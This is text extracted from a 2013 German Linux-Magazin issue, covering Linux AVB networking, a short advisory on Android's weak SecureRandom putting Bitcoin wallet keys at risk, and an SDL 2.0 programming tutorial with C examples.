Open-AVB-Projekts. In Setups mit zwei<br />
<strong>Linux</strong>-Rechnern, die über eine I-210-Karte<br />
mit dem AVB-Netzwerk verbunden sind,<br />
soll die korrekte Übertragung von AVB-<br />
Streams bereits geglückt sein.<br />
Mit dem Netzwerk-Tool Wireshark lassen<br />
sich alle AVB-Frames betrachten. Dafür<br />
sind die Filter in Tabelle 1 relevant: So<br />
lässt sich beispielsweise die MRP-Nachricht<br />
»TalkerAdvertise« in den Netzwerkdaten<br />
finden (Abbildung 4).<br />
Zahlreiche Firmen investieren in die Entwicklung<br />
und Umsetzung von AVB. Allerdings<br />
gibt es trotz Standardisierung durch<br />
die IEEE noch erhebliche Unterschiede<br />
bei der Implementierung. Zurückzuführen<br />
sind sie auf die vielen unterschiedlichen<br />
Entwürfe der Standards.<br />
Work in Progress<br />
Der Open-AVB-Stack und die Intel-Karte<br />
I 210 stellen die erste öffentliche Implementierung<br />
von AVB für <strong>Linux</strong> dar. Man<br />
darf gespannt sein, ob andere Hersteller<br />
folgen und eigene Hardware anbieten.<br />
Offen ist, ob sie in diesem Fall die Treiber<br />
in den Open-AVB-Stack integrieren<br />
oder einen eigenen Stack bereitstellen.<br />
Wer derzeit AVB auf einem <strong>Linux</strong>-Rechner<br />
benutzen möchte, ist auf Intels I 210<br />
angewiesen. Zudem muss er noch viel<br />
Anpassungs- und Integrationsarbeit investieren.<br />
(mhu)<br />
n<br />
Infos<br />
[1] Avnu Alliance: [http:// www. avnu. org]<br />
[2] Avnu Alliance, „AVB for Automotive Use“:<br />
[http:// www. avnu. org/ files/ static<br />
_page_files/ AADD34CC‐1D09‐3519<br />
‐AD2D3D331F524CF6/ AVnu%20Automotive__White%20Paper.<br />
pdf]<br />
[3] IEEE 802.1AS, „Timing and Synchronization<br />
for Time (PTP)“:<br />
[http:// standards. ieee. org/ findstds/<br />
standard/ 802. 1AS‐2011. html]<br />
[4] IEEE 802.1Q-2011, Paragraph 35, „Stream<br />
Reservation Protocol (SRP)“:<br />
[http:// standards. ieee. org/ findstds/<br />
standard/ 802. 1Q‐2011. html]<br />
[5] IEEE 802.1ak, „Multiple Registration Protocol<br />
(MRP)“: [http:// standards. ieee. org/<br />
findstds/ standard/ 802. 1ak‐2007. html]<br />
[6] IEEE 802.1Q-2011, Paragraph 34, „Forwarding<br />
and Queueing Enhancements for<br />
Time-Sensitive Streams“:<br />
[http:// standards. ieee. org/ findstds/<br />
standard/ 802. 1Q‐2011. html]<br />
[7] IEEE 1722, „Layer 2 Transport Protocol for<br />
Time Sensitive Applications“:<br />
[http:// standards. ieee. org/ findstds/<br />
standard/ 1722‐2011. html]<br />
[8] IEC 61883 [http:// www.<br />
iec‐normen. de/ suche/ ergebnis/ ?<br />
produktsuche=IEC+61883]<br />
[9] IEEE 1722.1, (AVDECC) D23v2, „Audio/<br />
Video Discovery, Enumeration, Configuration<br />
and Control“: [http:// standards. ieee.<br />
org/ develop/ project/ 1722. 1. html]<br />
[10] Riedel: [http:// www. riedel. net]<br />
[11] Audinate: [http:// www. audinate. com]<br />
[12] Uman [http:// umannet. de]<br />
[13] XMOS: [http:// www. xmos. com]<br />
[14] Labx Technologies:<br />
[http:// www. labxtechnologies. com]<br />
[15] DSP4You: [http:// www. dsp4you. com]<br />
[16] Netgear: [http:// www. netgear. de]<br />
[17] Extreme Networks:<br />
[http:// www. extremenetworks. com]<br />
[18] Marvell-Netzwerkkarten: [http:// www.<br />
marvell. com/ pc‐connectivity/]<br />
[19] Open AVB: [https:// github. com/<br />
intel‐ethernet/ Open‐AVB]<br />
AVB 11/2013<br />
Know-how<br />
www.linux-magazin.de<br />
91<br />
Abbildung 4: Wireshark findet im Netzwerkverkehr die Nachricht »TalkerAdvertise« des Protokolls MRP.<br />
Der Autor<br />
Christoph Kuhr stammt aus dem Rheinland und<br />
arbeitet als freiberuflicher Tontechniker sowie<br />
Digital-Audio-Entwickler. Sein Bachelorstudium<br />
der technischen Informatik hat er mit einer<br />
Arbeit über AVB abgeschlossen. In der Freizeit<br />
spielt er leidenschaftlich gerne Gitarre.
Know-how<br />
www.linux-magazin.de Insecurity Bulletin 11/2013<br />
92<br />
Insecurity Bulletin: Unsichere Zufallszahlen in Android<br />
Schwacher Zufall<br />
Gute Zufallszahlen sind der Schlüssel zu starker Kryptographie. Eine Schwäche in Androids Zahlengenerator<br />
gefährdet den Kontostand von Anwendern, die mit der Alternativwährung Bitcoin bezahlen. Mark Vogelsberger<br />
© Mellimage, Fotolia.com<br />
Die Entwickler digitaler Geldbörsen für<br />
An droid schlugen Anfang August 2013<br />
Alarm: Die Bitcoin-Wallets waren unsicher,<br />
ein Angreifer konnte an private<br />
kryptographische Schlüssel des Besitzers<br />
kommen und damit Geld abräumen [1].<br />
Ursache ist ein Programmierfehler in<br />
Googles Implementierung der Java-Klasse<br />
»SecureRandom« der Java Cryptography<br />
Architecture (JCA). Er führt dazu, dass<br />
die Funktion »SecureRandom()« unter<br />
Android keine korrekten Pseudozufallszahlen<br />
erzeugt.<br />
Update für die Geldbörse<br />
Dies wirkt sich auf die Sicherheit kryptographischer<br />
Verfahren aus, die bei<br />
Bitcoin-Transaktionen zum Einsatz kommen.<br />
Jede Transaktion mit der Internetwährung<br />
ist mit einem privaten Schlüssel<br />
signiert. Der Signiervorgang verwendet<br />
eine von Android generierte Zufallszahl,<br />
die aber wegen des Programmierfehlers<br />
nicht völlig zufällig<br />
war, da die erwähnte Java-Klasse<br />
den Generator nicht korrekt initialisierte.<br />
Android-Benutzer<br />
berichteten in Foren, dass sie<br />
mehrere Bitcoin-Transaktionen<br />
mit gleichen Zufallszahlen bemerkten.<br />
Hierdurch war die<br />
verwendete Signatur identisch<br />
und ein Angreifer konnte den<br />
privaten Schlüssel des Besitzers<br />
der Bitcoin-Geldbörse errechnen.<br />
Hat der Angreifer erst<br />
einmal diesen Schlüssel, so darf<br />
er Transaktionen im Namen des<br />
Opfers ausführen. Angeblich haben<br />
im Zuge solcher Attacken<br />
mehrere Tausend US-Dollar den<br />
Besitzer gewechselt. Ein Proofof-Concept-Exploit<br />
von Nikolai<br />
Elenkow steht im <strong>Web</strong> zur Verfügung und<br />
funktioniert unter Android 4.3 [2].<br />
Anfällig für die Attacke sind Bitcoin-<br />
Nutzer, die ihren privaten Schlüssel auf<br />
einem Android-Gerät speichern und<br />
von dort Bitcoin-Transaktionen ausgeführt<br />
haben. Das gilt aber nur, wenn die<br />
eingesetzte Applikation die fehlerhafte<br />
Java-Klasse verwendet. Die folgenden<br />
Bitcoin-Applikationen sind betroffen:<br />
Bitcoin Wallet (Abbildung 1), Bitcoin<br />
Spinner, Blockchain.info und Mycellium<br />
Wallet. Korrigierte Updates dieser Apps<br />
sind erhältlich. Applikationen, die sich<br />
auf die Device-Datei »/dev/urandom«<br />
zum Generieren von Pseudozufallszahlen<br />
verlassen, sind von der Schwachstelle<br />
nicht betroffen.<br />
Für Anwendungsentwickler ist ein Beitrag<br />
[3] im Android-Developer-Blog<br />
interessant. Er beschreibt, wie man<br />
Android-Applikationen modifiziert, um<br />
diese Schwachstelle zu umgehen. Offen-<br />
bar sieht der Android-Hersteller Google<br />
vornehmlich die App-Entwickler in der<br />
Pflicht, für die Sicherheit der Anwendungen<br />
zu sorgen. Anfragen des <strong>Linux</strong>-<br />
<strong>Magazin</strong>s an den Internetkonzern, ob<br />
es Nachbesserungen an Androids JCA-<br />
Umsetzung geben werde, blieben unbeantwortet.<br />
(mhu) <br />
n<br />
Infos<br />
[1] Android Security Vulnerability: [http://<br />
bitcoin. org/ en/ alert/ 2013‐08‐11‐android]<br />
[2] Proof-of-Concept von Nikolay Elenkov:<br />
[https:// gist. github. com/ nelenkov/<br />
581f9be65dcc0b6b35b9]<br />
[3] Alex Klyubin, „Some SecureRandom<br />
Thoughts“: [http:// android‐developers.<br />
blogspot. com. au/ 2013/ 08/<br />
some‐securerandom‐thoughts. html]<br />
Abbildung 1: Neben anderen wurde die App Bitcoin<br />
Wallet ein Opfer der schwachen Zufallszahlen.
Programmieren<br />
www.linux-magazin.de SDL 2.0 11/2013<br />
94<br />
Simple Directmedia Layer 2.0<br />
Einsteigerfreundlich<br />
Nach mehreren Jahren Entwicklungsarbeit ist im August die modernisierte Version 2.0 der Bibliothek SDL erschienen.<br />
Trotz der zahlreichen Neuerungen fällt der Um- und Einstieg erstaunlich leicht. Tim Schürmann<br />
Die Entwicklerversionen trugen zunächst<br />
die Nummer 1.3, aufgrund der vielen<br />
internen Änderungen machten die Entwickler<br />
im Februar 2012 jedoch den<br />
Sprung auf die Nummer 2.0. Obwohl<br />
dieser neue Versionszweig bereits in vielen<br />
Softwareprojekten zum Einsatz kam,<br />
zögerten die Entwickler, ihm den Stempel<br />
„Stabil“ aufzudrücken. Erst im August<br />
dieses Jahres zog Erfinder und Projektleiter<br />
Sam Lantinga einen Schlussstrich und<br />
gab den aktuellen Entwicklungsstand offiziell<br />
als Version 2.0.0 frei.<br />
© kzenon, 123RF.com<br />
Seit 1998 legt Simple Directmedia Layer<br />
(SDL) die Grundlage für unzählige Spiele,<br />
Multimedia-Anwendungen und sogar Virtualisierungslösungen.<br />
Die kleine plattformunabhängige<br />
Bibliothek erleichtert<br />
es Anwendungen, auf die Grafikkarte,<br />
die Audiohardware, die Tastatur und andere<br />
Eingabegeräte zuzugreifen. Da sie<br />
für viele verschiedene Plattformen und<br />
Betriebssysteme erhältlich ist, lassen sich<br />
mit ihr entwickelte Programme leicht<br />
portieren (siehe Kasten „Unterstützte<br />
Betriebssysteme“). Ohne sie müssten<br />
<strong>Linux</strong>-Nutzer vermutlich immer noch auf<br />
Unterstützte Betriebssysteme<br />
Offiziell unterstützte die SDL 2.0.0 zum Redaktionsschluss<br />
folgende Betriebssysteme:<br />
n <strong>Linux</strong> ab Kernel 2.6<br />
n Android ab Version 2.3.3<br />
n Windows XP, Vista, 7 und 8<br />
n Mac OS X ab Version 10.5<br />
n I-OS ab Version 5.1.1<br />
Unter Free BSD, Net BSD, Open BSD und Solaris<br />
soll sich die SDL 2.0 zwar ebenfalls übersetzen<br />
die Umsetzungen großer Spiele wie Portal<br />
warten (Abbildungen 1 und 2).<br />
Erstaunliche zwölf Jahre lang bildete<br />
die Version 1.2 der SDL die Grundlage<br />
zahlreicher Programme. Änderungen gab<br />
es immer nur in homöopathischen Dosen,<br />
die letzte Revision (1.2.15) erschien<br />
im Januar 2012. Die SDL 1.2 gilt damit<br />
zwar als äußerst robust, die Hardware-<br />
Entwicklung hat sie jedoch gnadenlos<br />
überholt. Im Hintergrund arbeiteten die<br />
SDL-Entwickler deshalb schon seit mehreren<br />
Jahren parallel an einer runderneuerten,<br />
modernen Variante.<br />
und einsetzen lassen, die Entwickler übernehmen<br />
dafür aber keine Garantie. Zudem existieren<br />
inoffizielle Portierungen auf Haiku, die<br />
Playstation Portable und Pandora.<br />
Damit ist die Liste der unterstützten Systeme<br />
deutlich kürzer als die der SDL 1.2. Mangels<br />
Maintainer musste das Team insbesondere die<br />
Portierungen für ältere Betriebssysteme wie<br />
OS/2 und Beos streichen.<br />
2.0 macht Tempo<br />
Die neue Version kann endlich mehrere<br />
Fenster gleichzeitig öffnen, erkennt<br />
mehrere angeschlossene Bildschirme und<br />
kann mehrere Audiogeräte gleichzeitig<br />
ansteuern. Zur Ausgabe von 2-D-Grafik<br />
nutzt die SDL ab sofort die Hardwarebeschleunigung<br />
moderner 3-D-Grafikkarten.<br />
Unter <strong>Linux</strong> finden die Bilddaten<br />
dabei über die Open-GL-Schnittstelle ihren<br />
Weg auf den Bildschirm. Im Notfall<br />
oder auf Wunsch berechnet die schlanke<br />
Bibliothek aber auch die Grafik mit einem<br />
Software-Renderer selbst.<br />
Die SDL bietet weiterhin nur Zeichenfunktionen<br />
für 2-D-Grafiken an. 3-D-Grafiken<br />
erzeugen Programmierer mit Open GL ab<br />
Version 3.0 beziehungsweise Open GL ES<br />
auf Mobilgeräten. Die SDL übernimmt<br />
dann lediglich alle übrigen Aufgaben,<br />
etwa die Audio-Ausgabe oder das Abfragen<br />
der Tastatur. Unter Windows, Mac OS<br />
X und <strong>Linux</strong> kann die neue SDL-Version<br />
endlich mit Force-Feedback-Geräten umgehen,<br />
zudem unterstützt sie Eingabegeräte<br />
mit Touch-Oberfläche.<br />
Verbessertes Powermanagement soll für<br />
längere Laufzeiten vor allem auf Mobilgeräten<br />
sorgen. Obendrauf kommen
Abbildung 1: Auf der SDL basieren fast alle über Steam angebotenen Spiele,<br />
darunter auch Blockbuster wie das Knobelspiel Portal.<br />
zahlreiche kleine Verbesserungen, etwa<br />
die Unicode-Unterstützung. Vorhandene<br />
SDL-Programme lassen sich recht leicht<br />
auf die SDL 2.0 portieren, aufgrund der<br />
zahlreichen Änderungen reicht jedoch<br />
ein Neukompilieren nicht aus.<br />
Auch bei der Lizenz gab es eine Änderung:<br />
Die LGPL-Lizenz der alten SDL 1.2<br />
erschwerte die Nutzung in kommerziellen<br />
Projekten. Chefentwickler Sam Lantinga<br />
gründete zwischenzeitlich sogar eine<br />
Firma, über die Entwickler eine Lizenz<br />
für kommerzielle Programme erwerben<br />
konnten. Die neue Version 2.0 steht hingegen<br />
unter der liberaleren Zlib-Lizenz,<br />
die eine uneingeschränkte kommerzielle<br />
Nutzung der Bibliothek erlaubt.<br />
Inbetriebnahme<br />
Die in C geschriebene SDL bietet selbst<br />
nur eine C-Schnittstelle an. Diese lässt<br />
sich aber direkt aus C++-Programmen<br />
nutzen, Bindungen gibt es zudem schon<br />
für Python, C# und Pascal [2]. Da die<br />
SDL 2 noch keiner Distribution beiliegt,<br />
muss der Entwickler sie selbst übersetzen<br />
und einspielen. Um alle Funktionen nutzen<br />
zu können, benötigt er neben einem<br />
C-Compiler und »make« auch noch die<br />
Entwicklerpakete zu X11, Open GL, Alsa,<br />
Pulseaudio, Libudev, Pthreads, Dbus und<br />
je nach Bedarf noch die des ESD (Enlightened<br />
Sound Daemon), des Arts-Audio-<br />
Servers und die Libts-Bibliothek zur Ansteuerung<br />
von Touchscreens.<br />
Die Installation ist mit dem üblichen<br />
Dreisprung schnell erledigt: »./configure;<br />
make; make install«.<br />
Die Ausgaben von<br />
»configure« sollte der<br />
Anwender nach nicht<br />
erfüllten Abhängigkeiten<br />
durchsuchen.<br />
Unter Umständen fehlen<br />
sonst später im Betrieb<br />
benötigte Funktionen,<br />
zum Beispiel<br />
die Unterstützung für<br />
den ESD. Nach der Installation<br />
sollte Root<br />
sicherheitshalber einmal<br />
»ldconfig« anwerfen.<br />
SDL 2 lässt sich<br />
übrigens problemlos<br />
neben der alten SDL<br />
1.2 installieren und<br />
betreiben: Die Bibliothek selbst heißt<br />
»libSDL2.so«, die Headerdateien landen<br />
im Unterverzeichnis »SDL2«.<br />
Erste Gehversuche<br />
Da die SDL 2.0 ein klares und einfaches<br />
API besitzt, fallen die ersten Schritte<br />
leicht. Wer bereits mit der alten Version<br />
1.2 gearbeitet hat, dürfte zudem einiges<br />
wiedererkennen. Im eigenen Programm<br />
bindet der Entwickler zunächst die SDL<br />
über eine einzige Headerdatei ein:<br />
#include "SDL2/SDL.h"<br />
Bevor er die Funktionen der SDL nutzen<br />
kann, muss er die Subsysteme der SDL<br />
initialisieren. Das übernimmt:<br />
SDL_Init(SDL_INIT_EVERYTHING);<br />
Als Parameter erwartet<br />
»SDL_Init()« ein so<br />
genanntes Flag, das<br />
angibt, welche Subsysteme<br />
die Funktion<br />
initialisieren soll. Das<br />
Flag »SDL_INIT_EVE-<br />
RYTHING« aktiviert<br />
alle verfügbaren Subsysteme.<br />
Wer später<br />
nur Grafiken ausgeben<br />
möchte, verwendet alternativ<br />
»SDL_INIT_<br />
VIDEO«.<br />
Mehrere Flags darf der<br />
Programmierer mit einem<br />
logischen Oder<br />
verknüpfen und so<br />
mehrere ausgewählte Subsysteme initialisieren.<br />
Die folgende Anweisung aktiviert<br />
das Video- und das Audio-Subsystem:<br />
SDL_Init(SDL_INIT_VIDEO | SDL_INIT_AUDIO);<br />
War der Aufruf erfolgreich, liefert »SDL_<br />
Init()« eine »0« zurück. Bei einem negativen<br />
Wert ist hingegen ein Fehler aufgetreten.<br />
Die Fehlermeldung dazu liefert die<br />
Funktion »SDL_GetError()«. Diese Form<br />
der Fehlerbehandlung nutzen auch die<br />
meisten anderen SDL-Funktionen. Damit<br />
eigener Code nicht gegen die Wand fährt,<br />
sollte der Programmierer folglich immer<br />
den Rückgabewert auswerten:<br />
if (SDL_Init(SDL_INIT_EVERYTHING) != 0){<br />
printf("Fehler: %s \n", SDL_GetError());<br />
return 1;<br />
}<br />
War dies SDL-1.2-Nutzern noch vertraut,<br />
folgt jetzt Neuland: Die SDL 2 schmeißt<br />
das gute alte »SDL_SetVideoMode()«<br />
über Bord.<br />
Verlief die Initialisierung erfolgreich, kann<br />
der Anwender ein Fenster öffnen. Die<br />
dafür zuständige Funktion »SDL_Create-<br />
Window()« verlangt als Parameter einen<br />
Namen für die Titelleiste, die Position der<br />
linken oberen Ecke des Fensters auf dem<br />
Bildschirm sowie die Größe des Fensters<br />
in Pixeln:<br />
SDL_Window *fenster = SDL_CreateWindow(<br />
"Hallo Welt!", 250, 300, 640, 480,U<br />
SDL_WINDOW_SHOWN);<br />
Hier trägt das Fenster den Titel »Hallo<br />
Welt!«, erscheint 250 Pixel vom linken<br />
und 300 Pixel vom oberen Bildschirmrand<br />
Abbildung 2: Aber auch ernsthafte Anwendungen, zum Beispiel die Virtualisierungssoftware<br />
Qemu und Virtualbox, nutzen die SDL unter anderem für<br />
ihre Bildschirmausgaben.<br />
SDL 2.0 11/2013<br />
Programmieren<br />
www.linux-magazin.de<br />
95
Programmieren<br />
www.linux-magazin.de SDL 2.0 11/2013<br />
96<br />
entfernt auf dem Desktop und ist außerdem<br />
640 mal 480 Pixel groß. Das Flag<br />
»SDL_WINDOW_SHOWN« sorgt dafür,<br />
dass das Fenster definitiv auf dem Bildschirm<br />
zu sehen ist – »SDL_WINDOW_<br />
HIDDEN« würde es zunächst verstecken.<br />
Eine Alternative wäre »SDL_WINDOW_<br />
FULLSCREEN«, was den Fensterinhalt im<br />
Vollbildmodus anzeigt. Auch hier gibt es<br />
noch weitere Flags, die man per Oder<br />
verknüpfen kann: So entfernt »SDL_WIN-<br />
DOW_BORDERLESS« den Fensterrahmen,<br />
während »SDL_WINDOW_MAXIMIZED«<br />
das Fenster maximiert.<br />
Die Funktion »SDL_CreateWindow()« liefert<br />
einen Zeiger auf ein »SDL_Window«-<br />
Objekt zurück. Über ihn lässt sich das<br />
Fenster gleich ansprechen. Sollte ein<br />
Fehler aufgetreten sein, dann ist der Zeiger<br />
»NULL«. Den Grund verrät wieder<br />
»SDL_GetError()«.<br />
Großer Künstler<br />
Als Nächstes benötigt der Entwickler einen<br />
so genannten Renderer, das ist der<br />
Maler, der in das Fenster zeichnet. Wie<br />
er das macht, bleibt ihm selbst überlassen.<br />
Unter Windows könnte er etwa<br />
Direct X verwenden, unter <strong>Linux</strong> nutzt er<br />
normalerweise Open GL. Einen Renderer<br />
erzeugt die Funktion »SDL_CreateRenderer()«:<br />
SDL_Renderer *renderer =U<br />
SDL_CreateRenderer(fenster, ‐1,U<br />
SDL_RENDERER_ACCELERATED |U<br />
SDL_RENDERER_PRESENTVSYNC);<br />
Als ersten Parameter erwartet sie einen<br />
Zeiger auf das Fenster, in das der Ren-<br />
Helfershelfer<br />
Die SDL deckt mit ihrem Funktionsumfang nur<br />
den Grundbedarf eines Spieleprogrammierers<br />
ab. So lädt sie beispielsweise ausschließlich<br />
Bilder im BMP-Format. Daher haben einige Entwickler<br />
weitere Hilfsbibliotheken geschrieben:<br />
SDL_net vereinfacht zum Beispiel den Zugriff<br />
auf das Netzwerk, SDL_mixer ermöglicht das<br />
Abmischen von Audiomaterial, SDL_ttf verschönert<br />
Texte mit Truetype-Schriften, während<br />
SDL_Image Bilder in gängigen Dateiformaten<br />
einlädt.<br />
Diese und einige weitere Bibliotheken haben<br />
sogar den Status einer „offiziellen Erweiterung“<br />
erhalten und eine Heimat auf der SDL-<br />
Homepage gefunden. Seit der Neugestaltung<br />
derer später alle Ausgaben schieben soll.<br />
Die »‐1« weist die SDL an, einen Renderer<br />
mit ganz bestimmten Eigenschaften<br />
zu wählen. Welche das sind, geben die<br />
nachfolgenden Flags vor. Im Beispiel<br />
soll der Renderer die Hardwarebeschleunigung<br />
der Grafikkarte nutzen (»SDL_<br />
RENDERER_ACCELERATED«) und den<br />
Bildaufbau mit der Bildschirmfrequenz<br />
synchronisieren (»SDL_RENDERER_PRE-<br />
SENTVSYNC«). »SDL_CreateRenderer()«<br />
spuckt schließlich einen Zeiger auf einen<br />
passenden Renderer aus. Ist dieser Zeiger<br />
»NULL«, trat ein Fehler auf, den Grund<br />
verrät »SDL_GetError()«.<br />
Den Renderer kann der Entwickler nun<br />
dazu anweisen, den Inhalt des Fensters<br />
zu leeren:<br />
SDL_SetRenderDrawColor(renderer, 235, 235,U<br />
235, 255);<br />
SDL_RenderClear(renderer);<br />
Die erste Funktion setzt die Zeichenfarbe<br />
auf ein Hellgrau mit dem RGB-Wert<br />
»235, 235, 235«. Der letzte Parameter<br />
von »SDL_SetRenderDrawColor()« legt<br />
die Transparenz fest (genauer gesagt den<br />
Wert des Alphakanals). Im vorliegenden<br />
Fall soll der Renderer das Hellgrau deckend<br />
auftragen. »SDL_RenderClear()«<br />
malt anschließend das Fenster mit der<br />
eingestellten Farbe aus.<br />
Einladung<br />
Um im Fenster ein Bild anzuzeigen, muss<br />
der Programmierer es erst einmal laden.<br />
Die SDL selbst bietet dazu lediglich die<br />
Funktion »SDL_LoadBMP()« an, die ein<br />
unkomprimiertes Bild im BMP-Format in<br />
der Homepage sind sie jedoch nicht mehr direkt<br />
verlinkt [3].<br />
Zusammen mit der SDL haben auch die vier<br />
oben genannten Bibliotheken einen Sprung auf<br />
Version 2 gemacht. Im Wesentlichen unterstützen<br />
sie die neuen Funktionen der SDL. So kann<br />
SDL_Image das geladene Bild direkt als Textur<br />
zurückgeben. Die folgende Anweisung holt so<br />
das Tiff-Foto »logo.tiff« von der Festplatte:<br />
SDL_Texture *logo = IMG_LoadTexture(U<br />
renderer, "logo.tiff");<br />
Da die Bibliotheken folglich nur noch mit SDL<br />
2 zusammenarbeiten, heißen sie jetzt SDL2_<br />
Image, SDL2_ttf, SDL2_mixer und SDL2_net.<br />
den Speicher schaufelt. Dazu braucht der<br />
Entwickler ihr lediglich den Dateinamen<br />
zu übergeben:<br />
SDL_Surface *bild = SDL_LoadBMP("logo.bmp");<br />
Wie schon unter der alten SDL 1.2 ist das<br />
Ergebnis ein Zeiger auf eine so genannte<br />
Surface. Diese Datenstruktur kapselt einfach<br />
die Bitmap im Hauptspeicher. Wer<br />
andere Dateiformate einlesen möchte,<br />
muss diese entweder selbst laden und in<br />
eine »SDL_Surface«-Datenstruktur hämmern<br />
oder zu einer Hilfsbibliothek wie<br />
der beliebten SDL_Image greifen (siehe<br />
Kasten „Helfershelfer“).<br />
Konvertit<br />
An dieser Stelle ergibt sich ein kleines<br />
Problem: Der Renderer kann nur Texturen<br />
und keine Surface in das Fenster<br />
malen. Folglich muss der Programmierer<br />
die Surface in eine Textur konvertieren:<br />
SDL_Texture *textur = U<br />
SDL_CreateTextureFromSurface(U<br />
renderer, bild);<br />
Da die Surface jetzt überflüssig ist, gibt<br />
der Entwickler den von ihr belegten Speicherplatz<br />
wieder frei:<br />
SDL_FreeSurface(bild);<br />
Abschließend muss er nur noch den Renderer<br />
anweisen, die Textur in das Fenster<br />
zu kopieren:<br />
SDL_RenderCopy(renderer, textur, NULL,U<br />
NULL);<br />
Das »NULL« im vorletzten Parameter<br />
weist den Renderer dazu an, die komplette<br />
Textur – und nicht nur einen Ausschnitt<br />
– in das Fenster zu zeichnen. Ist<br />
der letzte Parameter »NULL«, passt der<br />
Renderer die Textur in das Fenster ein.<br />
Sofern die Textur (also das geladene Bild)<br />
andere Abmessungen als das Fenster aufweist,<br />
führt das zwangsweise zu einer<br />
Verzerrung wie in Abbildung 3.<br />
Einpassen<br />
Um das zu ändern, verrät der Entwickler<br />
der Funktion »SDL_RenderCopy()« noch<br />
die Größe der Textur sowie die Position,<br />
an der die linke obere Ecke des Bildes im<br />
Fenster erscheinen soll. Diese Informationen<br />
erwartet »SDL_RenderCopy()« in
SDL 2.0 11/2013<br />
Programmieren<br />
www.linux-magazin.de<br />
97<br />
Abbildung 3: Hier hat »SDL_RenderCopy()« Das <strong>Linux</strong>-<strong>Magazin</strong>-Logo in die<br />
Abmessungen des Fensters gezwungen.<br />
Abbildung 4: Erst wenn man »SDL_RenderCopy()« die Abmessungen und die Position<br />
der Textur mit auf den Weg gibt, erscheint das Logo korrekt.<br />
einem »SDL_Rect«. Das ist eine Datenstruktur,<br />
die schlicht die Abmessungen<br />
eines Rechtecks kapselt. Zunächst zeichnet<br />
»SDL_RECT pos;« also ein Rechteck.<br />
SDL zählt die Pixel von der linken oberen<br />
Fensterecke, beginnend bei »0«. Im Beispiel<br />
soll die linke obere Ecke der Textur<br />
150 Pixel vom linken Fensterrand und 100<br />
Pixel vom oberen Fensterrand entfernt erscheinen.<br />
Diese beiden Werte wandern in<br />
die Variablen »x« und »y«:<br />
pos.x = 150;<br />
pos.y = 100;<br />
Wie breit und hoch die Textur im Fenster<br />
erscheint, verraten die Variablen »pos.w«<br />
und »pos.h«. Damit der Renderer die Textur<br />
nicht verzerrt, weist der Programmierer<br />
ihnen folglich die Breite und Höhe<br />
der Textur zu. Diese beiden Werte kann<br />
er entweder etwas umständlich mit einem<br />
Malprogramm herausfinden oder<br />
von der Funktion »SDL_QueryTexture()«<br />
ermitteln lassen:<br />
nur noch einen Zeiger auf »pos« zu übergeben,<br />
das Ergebnis zeigt Abbildung 4:<br />
SDL_RenderCopy(renderer, textur, NULL,U<br />
&pos);<br />
Nach dem gleichen Prinzip malt der<br />
Programmierer weitere Texturen in das<br />
Fenster. Dabei zeichnet der Renderer die<br />
zuerst kopierten Texturen als Erstes. In<br />
folgendem Beispiel<br />
SDL_RenderCopy(renderer, hinten, NULL,U<br />
NULL);<br />
SDL_RenderCopy(renderer, vorne, NULL, NULL);<br />
würde der Renderer erst die Textur »hinten«<br />
in das Fenster malen und anschließend<br />
die Textur »vorne« drüberkleben.<br />
Zum Abschluss muss der Code den Renderer<br />
noch anweisen den aktualisierten<br />
Fensterinhalt anzuzeigen:<br />
SDL_RenderPresent(renderer);<br />
Dieser letzte Schritt scheint nur auf den<br />
ersten Blick überflüssig: Würde der Renderer<br />
jeden Zeichenvorgang direkt in<br />
das Fenster malen, müsste der spätere<br />
Anwender unter Umständen dabei zusehen,<br />
wie sich das Bild aus den einzelnen<br />
Texturen aufbaut. Die Folge wären unschöne,<br />
flackernde Animationen.<br />
Haltestelle<br />
Wer die Codestücke jetzt zu einem Programm<br />
zusammenfügen und starten<br />
würde, bekäme ein kurz aufgerissenes<br />
Fenster zu sehen, das sich sofort wieder<br />
beendet. Um das zu verhindern, könnte<br />
man das Programm einfach für 2 Sekunden<br />
anhalten:<br />
SDL_Delay(2000);<br />
Eleganter ist es jedoch, den Benutzer<br />
selbst das Programm per Tastendruck,<br />
einen Klick in das Fenster oder über den<br />
Schließen-Knopf in der Titelleiste beenden<br />
zu lassen. Ab hier dürfte SDL-1.2-<br />
Nutzern wieder einiges sehr bekannt<br />
SDL_QueryTexture(textur, NULL, NULL,U<br />
&pos.w, &pos.h);<br />
Sie liefert neben der Weite und Höhe der<br />
Textur auch das Pixelformat (RGB, YUV<br />
oder Ähnliches) sowie einen Zeiger auf<br />
die eigentliche Bitmap im Speicher. Diese<br />
Informationen sind hier nicht weiter von<br />
Interesse, weshalb sie »SDL_QueryTexture()«<br />
aufgrund der beiden »NULL« für<br />
sich behält.<br />
In »pos« befinden sich jetzt die Position<br />
und die Größe, in der der Renderer die<br />
Textur in das Fenster malen soll. Der<br />
Entwickler braucht »SDL_RenderCopy()«<br />
Listing 1: Ereignisbehandlung in SDL<br />
01 SDL_Event ereignis;<br />
02 int quit=1;<br />
03 while(quit) {<br />
04 SDL_WaitEvent(&ereignis);<br />
05 switch(ereignis.type) {<br />
06 case SDL_QUIT:<br />
07 printf("Fenster geschlossen\n");<br />
08 quit=0;<br />
09 break;<br />
10 case SDL_KEYDOWN:<br />
11 printf("Tastendruck\n");<br />
12 printf("Physische Taste %s als Taste %s<br />
gedrückt\n",<br />
13 SDL_GetScancodeName(ereignis.key.<br />
keysym.scancode),<br />
14 SDL_GetKeyName(ereignis.key.keysym.<br />
sym));<br />
15 quit=0;<br />
16 break;<br />
17 case SDL_MOUSEBUTTONDOWN:<br />
18 printf("Linke Maustaste gedrückt an\n");<br />
19 printf("Position: (%d, %d)\n", ereignis.<br />
motion.x, ereignis.motion.y);<br />
20 quit=0;<br />
21 break;<br />
22 }<br />
23 }
Programmieren<br />
www.linux-magazin.de SDL 2.0 11/2013<br />
98<br />
vorkommen: Tastendrücke, Mausklicks<br />
und andere Eingaben sind für die SDL<br />
Ereignisse.<br />
Bitte warten<br />
Jedes ausgelöste Ereignis landet zunächst<br />
in einer Warteschlange. Das nächste Ereignis<br />
in der Schlange holt die Funktion<br />
»SDL_WaitEvent()« ab. Sollte die Warteschlange<br />
leer sein, wartet »SDL_Wait-<br />
Event()« so lange, bis ein Ereignis auftritt.<br />
Dann muss der Programmierer nur noch<br />
abfragen, um welches Ereignis es sich<br />
handelt. Das dabei entstehende Switch/<br />
Case-Monster zeigt Listing 1.<br />
Die Hilfsvariable »quit« signalisiert lediglich,<br />
ob das Programmende erreicht<br />
ist. »SDL_WaitEvent()« holt aus der Warteschlange<br />
das nächste Ereignis ab und<br />
steckt es in eine Datenstruktur vom Typ<br />
